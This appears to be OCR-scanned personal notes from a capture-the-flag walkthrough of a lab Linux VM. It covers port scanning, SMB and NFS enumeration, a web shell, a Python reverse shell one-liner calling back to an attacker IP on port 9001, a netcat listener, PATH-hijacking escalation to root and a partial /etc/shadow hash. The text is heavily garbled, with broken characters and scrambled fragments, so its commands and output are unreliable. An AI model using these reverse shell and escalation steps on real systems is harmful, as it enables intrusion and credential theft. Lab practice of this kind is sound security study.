Escalate_Linux

06 April 2022 12:40 AM

$139/tcp 445/tcp 2049/tcp 39677/tcp 43225/tcp 45089/tcp 51473/tcp open open open open open open open netbios-ssn netbios-ssn nfs act nlockmgr mountd mountd mountd (workgroup: WORKGROUP) Samba smbd 3. X - samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP) (RPC #100227) 3 1-4 (RPC #100021) 1-3 (RPC #100005) 1-3 (RPC #1ØØØØ5) 1-3 (RPC #100005) Service Info: Host: LINUX Host script results: smb-os-discovery: OS: Windows 6.1 (samba 4.7.6-Ubuntu) Computer name: osboxes NetBIOS computer name: LINUX\XØØ Domain name: \xøø FQDN: osboxes system time: clock-skew: mean: lh2Ømøøs, deviation: 2h18m34s, median: Os nbstat: NetBIOS name: Names : smb-securi ty-mode : account _ used: guest authentication level: LINUX, NetBIOS user: NetBIOS MAC• Flags: Flags: <unique><active> Flags: Flags: <group><active> Flags: <group><active> Flags: Flags: <group><active> user . <unknown> (unknown)$

(kaliS kali $ smbmap -H "192.168.43.168" [+] Guest session 192.168.43.168 Disk liteshare IPC$ kali • 445 IP: 192.168.43.168. Name : permissions NO ACCESS NO ACCESS commen t IPC Service (Linux Lite Shares)

kali ) — [ —/Desktop/ctfJ nfs 192.168.43.168:/home/user5 user5 sudo mount -t [sudo] password for kali:

kaliS kali ) - ["Desktop/ctf] L—$ cd user5 (kaliS "Desktop/ctf/user5J Desktop Documents Downloads Is Music Pictures Public Templates Videos

file found in directory fuzzing /shell.php

c O a 192.168.43.168/shell.php Google HackingDB Vigenere Solver LxdPrivilege Escalatio-.. ppass cmd as get parameter*/

Google Hacking DB Vigenere Solver Lid Privilege Escalation lusr/bin/python Ppass cmd as get parameter"

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.43.208”,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“sh”)’

katiS kali)- nc -nvlp 9001 listening on [any] 9001 connect to [192.168.43.208] from (UNKNOWN) [192.168.43.168] 58788 $ id uid=1øø5(user6) groups=1øø5(user6)

//User64 home U user$l/ Is -al . [script nano Is Is PATH 4PATH $PATH export export PATH=. :$PATH 4 PATH $PATH Is chmod +x Is . [script dir dir scipt dir script su root ./script export :$PATH . / script Is cat .bash_history

su root LLLUser6 home T userSO ./script Desktop Downloads Pictures Templates Is Documents Music Public Videos script / I home I user5 export PATH=. :$PATH user6 / I home I user5 ./script user6 uid=ø(root) gid=ø(root) root root : $6$mqjgc FoM$X/qNpZR6gXPAxdgDj 7cPaYf zPSmgATM9cwD1 : 18050 : : 99999 : 7 : um-data: x